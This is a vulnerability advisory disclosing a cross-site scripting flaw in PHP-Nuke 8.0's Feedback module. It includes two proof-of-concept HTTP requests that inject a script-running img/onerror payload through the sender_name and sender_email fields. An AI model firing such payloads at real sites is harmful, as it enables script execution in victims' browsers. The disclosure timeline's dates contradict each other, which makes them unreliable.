PHP-Nuke 8.x <= Cross Site Scripting Vulnerability



1. OVERVIEW

The PHP-Nuke version 8.x and lower are vulnerable to Cross Site Scrtipting.


2. BACKGROUND

PHP-Nuke is a Web Portal System or content management system. The goal
of PHP-Nuke is to have an automated web site to distribute news and
articles with users system. Each user can submit comments to discuss
the articles. Main features include: web based admin, surveys, top
page, access stats page with counter, user customizable box, themes
manager for registered users, friendly administration GUI with graphic
topic manager, option to edit or delete stories, option to delete
comments, moderation system, Referrers page to know who link us,
sections manager, customizable HTML blocks, user and authors edit, an
integrated Banners Ads system, search engine, backend/headlines
generation (RSS/RDF format), and many, many more friendly functions.


3. VULNERABILITY DESCRIPTION

The "sender_name" and the "sender_email" parameter are not properly
sanitized upon submission to the /modules.php?name=Feedback, which
allows attacker to conduct Cross Site Scripting attack. This may allow
an attacker to create a specially crafted URL that would execute
arbitrary script code in a victim's browser.


4. VERSIONS AFFECTED

8.0 and lower

Tested version: 8.0
The paid versions, 8.1 and 9.0, of PHP-Nuke may be vulnerable as well.


5. PROOF-OF-CONCEPT/EXPLOIT

Parameter: sender_name

[REQUEST]
POST /phpnuke/modules.php?name=Feedback HTTP/1.1
Host: attacker.in
Referer: http://attacker.in/phpnuke/modules.php?name=Feedback

sender_name=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%2FXSS%2F%29%3E&sender_email=&message=&opi=ds&submit=Send
[/REQUEST]

---------------------------------------------------------
Parameter: sender_email

[REQUEST]
POST /phpnuke/modules.php?name=Feedback HTTP/1.1
Host: attacker.in
Referer: http://attacker.in/phpnuke/modules.php?name=Feedback

sender_email=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%2FXSS%2F%29%3E&sender_name=&message=&opi=ds&submit=Send
[/REQUEST]


6. SOLUTION

Not Available.
Use of this product is NOT recommended because of long lack of update
and vendor negligence about security reports.


7. VENDOR

PHP-Nuke Developers
http://phpnuke.org/


8. CREDIT

Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2011-01-01: contacted author through emails
2011-01-25: contacted author through web site contact form
2010-03-23: no replies from author
2010-03-23: vulnerability disclosed


10. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/[phpnuke-8.x]_cross_site_scripting
About PHP-Nuke: http://en.wikipedia.org/wiki/PHP-Nuke
php-Nuke 8.0: http://phpnuke.org/modules.php?name=Downloads&d_op=getit&lid=658
CWE-79: http://cwe.mitre.org/data/definitions/79.html



#yehg [2010-03-23]

keywords: php nuke, php-nuke, phpnuke, 8.0, 8.1,  xss

---------------------------------
Best regards,
YGN Ethical Hacker Group
Yangon, Myanmar
http://yehg.net
Our Lab | http://yehg.net/lab
Our Directory | http://yehg.net/hwd